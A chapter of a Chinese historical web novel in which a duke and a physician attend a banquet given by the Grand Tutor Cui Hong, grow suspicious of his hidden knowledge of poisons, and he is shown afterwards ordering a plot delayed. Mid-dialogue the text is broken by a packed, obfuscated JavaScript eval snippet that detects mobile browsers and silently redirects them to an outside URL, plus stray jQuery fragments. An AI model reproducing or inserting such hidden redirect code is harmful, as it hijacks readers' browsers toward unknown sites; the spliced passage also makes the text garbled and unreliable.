只见一位身着素色锦袍的老者慢慢走来。
看着大概六十岁左右,鬓角有些白发,面容清瘦,目光温润澄澈,嘴角含着微笑。
气度谦和,周身笼罩着一层书香沉淀下来的光华。
正是当朝太傅、清流领袖、天子之师——崔泓,崔玉章。
他先是与厅中几位熟识的文人颔首致意,态度亲切自然,随即目光便落到了杜仁绍与李梵娘身上。
“镇国公,医仙娘娘,大驾光临,寒舍蓬荜生辉。”崔泓走上前,语气温和真诚,没有半点架子。
“二位在江南力挽狂澜,救民于水火,实乃是家国之幸运,老夫钦佩已久。今日终于见到了二位,果然名不虚传。”
他的目光在杜仁绍身上停留一瞬,“国公爷英武不凡,正气凛然。”
又转向李梵娘,笑容和蔼:“娘娘仁心圣手,更难得如此年轻,真乃我朝的福气。”
一番话说得滴水不漏,既表达了赞赏,又给了二人尊重,让人挑不出半点错处。
杜仁绍与李梵娘也礼貌回敬:“太傅过誉,愧不敢当。太傅乃是天下文宗,陛下之师,我辈楷模。”
“诶,今日只是私宴,不必拘泥礼数。”崔泓笑着摆手,亲自引他们入座,位置安排得很周到,既显的尊重,又不至于太过突兀。
宴会开始,丝竹声起。
侍女们奉上茶点,酒是陈年佳酿,菜是时令珍馐,烹饪到位,摆盘雅致,无一不体现出崔家极高的生活品味和底蕴。
席间,崔泓谈笑风生,与在座的文人们探讨诗词歌赋,品评书画古玩。
宴会的气氛始终维持在一种微妙的平衡中。
崔泓学识渊博的程度令人叹服,从《诗经》的草木之名到《本草纲目》的药材辨析,他都能信手拈来。
与李梵娘探讨时,仿佛只是一位醉心学问的长者。
他甚至能准确说出杜仁绍几年前在西北某场战役中的战术调度,分析得头头是道,言语间充满了对武将不易的理解与钦佩。
“国公爷当年以少胜多,扼守狼牙隘口,真是妙,诡道也,手下是将士血汗,上到社稷安危,不是我们能纸上谈兵的人可以随便议论的。”他举杯向杜仁绍示意,眼神恳切。
杜仁绍心中警铃大作。
此人若为敌,实在太可怕。
他不仅能投你所好,更能完美消除你的戒心。
他举杯回敬,“太傅过誉了,守卫疆土,是我的分内之事,比不上太傅辅佐陛下,教化天下,乃定国安邦之根本。”
崔泓呵呵一笑,捋着胡须摇头:“国公爷这话说的折煞老夫了,文治武功,就像是车的两个轮子,鸟的双翼,缺一不可。”
“陛下能有国公与夫人这样的肱骨,实乃大胤之福。”
他巧妙地将话题再次引回对皇帝和朝廷的忠诚上。
李梵娘安静地坐在一旁,面上带着得体的笑,心思却飞速转动。
她仔细观察着崔泓的每一个表情,他说话时的语气停顿,他举杯时指尖的弧度,他听人说话时眼神的专注。
太完美了,反而显得不真实。
就像一幅画,笔笔到位,却独缺真实。
她注意到,每当谈到某些特定地域的药材流通或民间偏方时,崔泓的知识储备似乎更深了,甚至能说出一些连太医署典籍都未必记载过的冷僻用法。
这绝不是一个单纯的文人雅士该知道的。
然而,每当李梵娘试图把话题引的更深,比如某种稀有药材的具体产地、采集时节,或者是某些传闻中带有禁忌的古老药方时,崔泓又会不着痕迹地错开话题。
要么将它归结于某本“年少时偶然看到的杂书,已经记不太清了”,要么把它升华到“万物有灵,医者仁心”的道德层面上。
防守得滴水不漏。
杜仁绍也同样在观察。
他发现,这满座的文人中,有几位看似在随意谈笑,但他们的座位分布,却隐隐将他和李梵娘与其他人隔开了距离。
而厅外侍立的仆从,看着低眉顺目,但行动间隐隐透着章法,眼神锐利,不像是普通家仆。
这场“赏菊小宴”,实则就是一场不见刀光剑影的鸿门宴。
主人温文尔雅,宾客“其乐融融”。
宴会持续了近一个时辰,崔泓始终掌握着节奏,既不让场面冷落,也不让任何敏感话题有深入的机会。
最后他以“年老体乏,不敢久扰诸位雅兴”为由,结束了宴会。
亲自将杜仁绍和李梵娘送至花厅门口,态度依旧谦和。
“今日与
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524404|182915||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
国公、娘娘一叙,受益匪浅,日后若得空闲,欢迎常来走动。老夫对娘娘的医术,可是好奇得紧,还望不吝赐教。”崔泓笑着拱手。
“太傅言重了,应该是晚辈向太傅请教才是。”李梵娘微微欠身。
“告辞。”杜仁绍抱拳。
离开崔府,坐上马车。
车厢内的两人同时沉默下来,气氛凝重。
“如何?”杜仁绍率先打破沉默。
李梵娘缓缓吐出一口气,“深不可测,他对医药,尤其是偏门、毒理方面的了解,早就超过了一般的文人,甚至超过许多行医多年的郎中。”
“但他隐藏得极好,每次快到关键处,便用其他话一语带过。”
杜仁绍点头,“府里看着松散,实则外松内紧,我看那些仆从,身手都不一般。”
“崔泓这个人,说话做事,滴水不漏,每一句都像是站在朝廷和陛下的立场上,让人抓不到错处。”
“他甚至能准确说出我多年前的战役细节,这心思和能力,绝对不可能是一个普通文臣所有的。”
李梵娘蹙眉:“如此看来,赵无咎查到的那些线索,恐怕并不是空穴来风。”
杜仁绍握紧了拳:“他有声望,有地位,有盘根错节的关系网,自身又谨慎狡猾。要找到他的破绽,难如登天。”
“但越是如此,越说明他的图谋越大。”李梵娘目光坚定,“我们必须找到办法。”
车内的两人心情沉重。
崔泓就像是被云雾缠绕的高山,你知道他就在那里,却找不到任何可以攀上去的路。
然而,他们不知道的是,就在他们离开后,方才那位温文尔雅的太傅,屏退左右,独自站在书房窗前,望着他们消失的方向,脸上取而代之的是一片冷漠。
他指尖敲着窗棂,“杜仁绍……李梵娘……倒是比想象中的更难缠些,看来江南的教训,还不够深刻……”
一道阴影悄无声息地出现在他身后。
崔泓没有回头,只是淡淡吩咐:“去告诉‘那边’,计划暂缓,一切小心,没有我的命令,谁也不许轻举妄动。”
“是。”阴影旋即消失,仿佛从未出现过。
崔泓的目光重新投向沉沉的夜空,眼中闪过厉色。
山雨,欲来。